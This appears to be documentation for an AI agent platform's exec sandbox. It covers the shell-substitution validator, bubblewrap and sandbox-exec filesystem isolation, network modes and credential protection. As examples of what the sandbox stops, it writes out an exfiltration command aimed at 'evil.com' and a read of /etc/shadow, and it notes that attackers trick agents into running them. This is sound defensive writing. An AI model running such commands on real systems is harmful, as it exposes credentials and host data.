Skip to main content
File tools like read, write, and edit are protected by Safe Path validation — every path parameter is checked before the operation proceeds. But the system.exec tool spawns a full shell that can access any file on the host filesystem. The exec sandbox closes this gap with kernel-enforced filesystem isolation, ensuring that shell commands run inside a restricted namespace where only approved paths are visible.
Scope is critical. The exec sandbox protects only the system.exec tool. It does not sandbox:
  • In-process Node tools — built-in skills that run inside the daemon process (file_read, web_fetch, memory_search, etc.) execute with full daemon permissions. Their security relies on application-level layers (safePath, SSRF guard, tool policy, content scanner).
  • MCP stdio servers — external MCP processes are explicitly launched with NODE_OPTIONS stripped (see Node Permissions) so MCP servers run unsandboxed by design. Treat each MCP server as a trusted dependency.
  • Arbitrary agent code — if you give an agent Python, Node, or other language tooling outside system.exec, that code runs unsandboxed.
The single guarantee here is: when the system.exec tool is invoked, the shell process it spawns sees only approved paths.

Two-Stage Protection: Validator + Sandbox

Every system.exec call passes through two layers before the OS spawns the shell:
  1. ExecSecurityValidator (pre-sandbox) — a quote-aware state machine inspects the command string for dangerous shell substitution and rejects it before the sandbox even runs. Caught patterns include:
    • Command substitution: $(...)
    • Backtick substitution: `...`
    • Process substitution: <(...), >(...)
    • Zsh process substitution: =(...)
    • Zsh equals expansion: =cmd at a word boundary
    The validator tracks quote context (normal, single, double, backtick) so patterns inside single quotes (where the shell does not interpret them) pass through unchanged.
  2. OS-level sandbox (filesystem isolation) — if the validator approves, the command is wrapped by bubblewrap or sandbox-exec for the actual spawn.
This means an attacker who tricks an agent into writing echo $(curl evil.com/exfil) is stopped at stage 1, before the sandbox runs. The sandbox catches anything stage 1 misses (e.g., cat /etc/shadow — syntactically clean, but /etc/shadow is invisible inside the namespace).

The Problem

Safe Path validation protects file tool parameters, but it cannot inspect shell command strings. This creates a gap where exec can access files that read would block:
The exec sandbox prevents this by making unauthorized paths invisible to the shell process at the OS level. The process cannot read, write, or even see that those paths exist.

How It Works

The sandbox uses platform-native isolation to restrict what the shell process can see:
  • Linux: bubblewrap (bwrap) creates a mount namespace with only allowed paths visible. The process runs in its own user namespace with --unshare-all --share-net --die-with-parent --new-session.
  • macOS: sandbox-exec applies an SBPL (Sandbox Profile Language) profile that restricts filesystem access. Default deny, with explicit read/write grants for approved paths.
  • Both platforms: The workspace directory is read-write, system binaries are read-only, and everything else is invisible. Network access is allowed (network isolation is a separate concern).
Detection happens once at daemon startup. The provider is reused for all agents throughout the daemon’s lifetime.

Mount Table

The table below shows what paths are visible inside the sandbox. Anything not listed here is invisible to the sandboxed process.
On macOS, the sandbox-exec provider uses equivalent paths: /Library, /System, /opt/homebrew, /usr/local for system binaries, and /private/tmp, /private/var/folders for temp directories.

Configuration

~/.comis/config.yaml
Setting enabled: "never" removes the OS-level filesystem isolation entirely. The exec tool will fall back to its command denylist as the only protection. This is not recommended for production deployments.

System Requirements

  • Linux: Install bubblewrap — apt install bubblewrap (Debian/Ubuntu) or the equivalent for your distribution. See the bubblewrap GitHub repository for details.
  • macOS: sandbox-exec is built in to macOS. No installation needed.
sandbox-exec on macOS is deprecated by Apple and may be removed in a future macOS release. It remains functional for development use, but use bubblewrap on Linux for production deployments.

Limitations

The exec sandbox provides filesystem isolation only. It does not restrict other resource types:
  • Network access is NOT restricted — network isolation is a separate concern from filesystem isolation
  • CPU, memory, and disk limits are NOT enforced — resource limits are out of scope for the filesystem sandbox
  • MCP tool servers run outside the sandbox — MCP servers have their own security model and are not wrapped by the exec sandbox
  • sandbox-exec on macOS is deprecated — Apple may remove it in a future macOS release; use bubblewrap on Linux for production

Network Modes and Credential Broker

The exec sandbox supports four network modes via SandboxOptions.network: The broker-only mode is set automatically for driven API-key CLI spawns. It is not a user-configurable option — the daemon sets it when it launches a credentialed CLI through the broker. The none mode is set automatically by the skill-validation sandbox (it is likewise not user-configurable). The cap-socket mode is set automatically by the daemon when it launches an autonomy-bearing orchestrate surface; the socket path is daemon-minted per run.
A kernel network namespace (--unshare-net) blocks IP sockets only — a bound unix socket stays reachable. That is why broker-only and cap-socket can hand the jailed process a single unix-socket channel (the broker, or the lease endpoint) while every TCP/UDP path to the outside is hard-cut. The socket --bind is emitted after --unshare-net so bwrap applies it inside the new namespace.

Autonomy Jail Hardening

The autonomy/orchestrate jail layers these kernel- and validator-level controls on top of the baseline filesystem isolation. Each is defense-in-depth — it holds independently of the others: The bind-mount validator’s denylist is a backstop on top of the allow-list binds, never the primary boundary. The daemon-minted broker/cap sockets and the curated system read-only paths (e.g. /etc/resolv.conf) are the trusted allow-list and are not re-screened. The four CVE-class containment claims (TIOCSTI, CVE-2026-25725 writable-path, symlink-escape, CVE-2025-66479 egress) are proven by Linux-gated .linux.test.ts suites that run on the production host class (pnpm validate:full); they skip on macOS where a real bwrap namespace cannot be built. Secure credential home (secureCredentialHome: true): When set, the following bind mounts are omitted from the sandbox, so credential files are unreachable inside:
  • ~/.claude (read-write bind)
  • ~/.claude.json (read-only bind)
  • ~/.local/share/claude (read-write bind)
On Linux, the broker-only network mode combines with secureCredentialHome so neither the key material nor a direct network path to the key provider is reachable inside the sandbox. Network-level enforcement (--unshare-net) is validated on the Linux production host class: direct egress from inside the namespace fails, while the bound broker socket stays reachable.
Source: packages/skills/src/tools/builtin/sandbox/types.ts · packages/skills/src/tools/builtin/sandbox/bwrap-provider.ts
Credential Broker →

Graph Integration

When an agent runs inside an execution graph pipeline, the graph’s shared directory (~/.comis/graph-runs/{runId}/) is automatically mounted read-write inside the sandbox. This allows pipeline nodes to share data files while maintaining filesystem isolation — each node can read outputs from upstream nodes and write outputs for downstream nodes, but cannot access any other part of the host filesystem.

Defense in Depth

How the exec sandbox fits into the 22 categorical security layers

Safe Path

Path validation for file tools (read, write, edit)

Tool Security

Technical sandbox reference for all defense layers

Hardening Guide

Production hardening checklist